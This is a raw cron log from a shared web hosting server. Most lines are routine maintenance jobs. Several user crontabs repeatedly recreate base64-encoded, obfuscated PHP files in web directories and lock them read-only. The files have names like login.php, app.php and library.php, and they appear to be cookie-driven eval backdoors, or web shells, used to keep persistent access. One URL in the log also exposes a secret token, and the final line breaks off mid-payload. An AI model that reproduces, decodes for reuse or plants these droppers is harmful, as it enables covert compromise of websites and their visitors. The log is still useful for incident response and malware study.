Apr 19 07:28:01 medusa CROND[16066]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Apr 19 07:28:01 medusa CROND[16073]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Apr 19 07:28:01 medusa CROND[16077]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Apr 19 07:28:01 medusa CROND[16076]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 07:29:01 medusa CROND[6061]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Apr 19 07:29:01 medusa CROND[6139]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Apr 19 07:29:01 medusa CROND[6174]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Apr 19 07:29:01 medusa CROND[6176]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 07:29:01 medusa CROND[6175]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Apr 19 07:29:01 medusa CROND[6177]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Apr 19 07:29:01 medusa CROND[6179]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cleanuserphpsessions.cronlock /usr/share/cagefs/clean_user_php_sessions)
Apr 19 07:29:01 medusa CROND[6180]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 07:29:01 medusa CROND[6182]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 07:29:02 medusa CROND[6178]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Apr 19 07:29:02 medusa CROND[6184]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Apr 19 07:29:02 medusa CROND[6185]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Apr 19 07:29:02 medusa CROND[6199]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 07:30:01 medusa CROND[28583]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Apr 19 07:30:01 medusa CROND[28607]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Apr 19 07:30:01 medusa CROND[28612]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Apr 19 07:30:01 medusa CROND[28627]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Apr 19 07:30:01 medusa CROND[28741]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux-xray-plugin-check.cronlock /usr/share/lvemanager-xray/plugins/install-xray-plugin.py --check > /dev/null 2>&1)
Apr 19 07:30:01 medusa CROND[28743]: (dieg0fd) CMD (/usr/local/bin/php /home17/dieg0fd/public_html/wp-cron.php >/dev/null 2>&1)
Apr 19 07:30:01 medusa CROND[28744]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 07:30:01 medusa CROND[28745]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Apr 19 07:30:01 medusa CROND[28742]: (root) CMD (/nutscripts/stop_scripts.sh > /dev/null 2>&1)
Apr 19 07:30:01 medusa CROND[28754]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 07:30:01 medusa CROND[28752]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Apr 19 07:30:01 medusa CROND[28755]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Apr 19 07:30:01 medusa CROND[28758]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Apr 19 07:30:01 medusa CROND[28759]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Apr 19 07:30:01 medusa CROND[28757]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cagefs_exclude_users.cronlock /usr/share/cagefs/exclude_users_cleaner.py)
Apr 19 07:30:01 medusa CROND[28762]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Apr 19 07:30:01 medusa CROND[28761]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Apr 19 07:30:01 medusa CROND[28756]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Apr 19 07:30:01 medusa CROND[28763]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Apr 19 07:30:01 medusa CROND[28769]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 19 07:30:01 medusa CROND[28770]: (servichina) CMD (php -q "/home4/servichina/public_html/wp-cron.php")
Apr 19 07:30:01 medusa CROND[28753]: (root) CMD (/nutscripts/control_exim.sh  >/dev/null 2>&1)
Apr 19 07:30:01 medusa CROND[28777]: (root) CMD (/usr/bin/test -e /etc/cpanel-dovecot-solrdisable || /usr/local/cpanel/3rdparty/scripts/cpanel_dovecot_solr_commit)
Apr 19 07:30:01 medusa CROND[28778]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3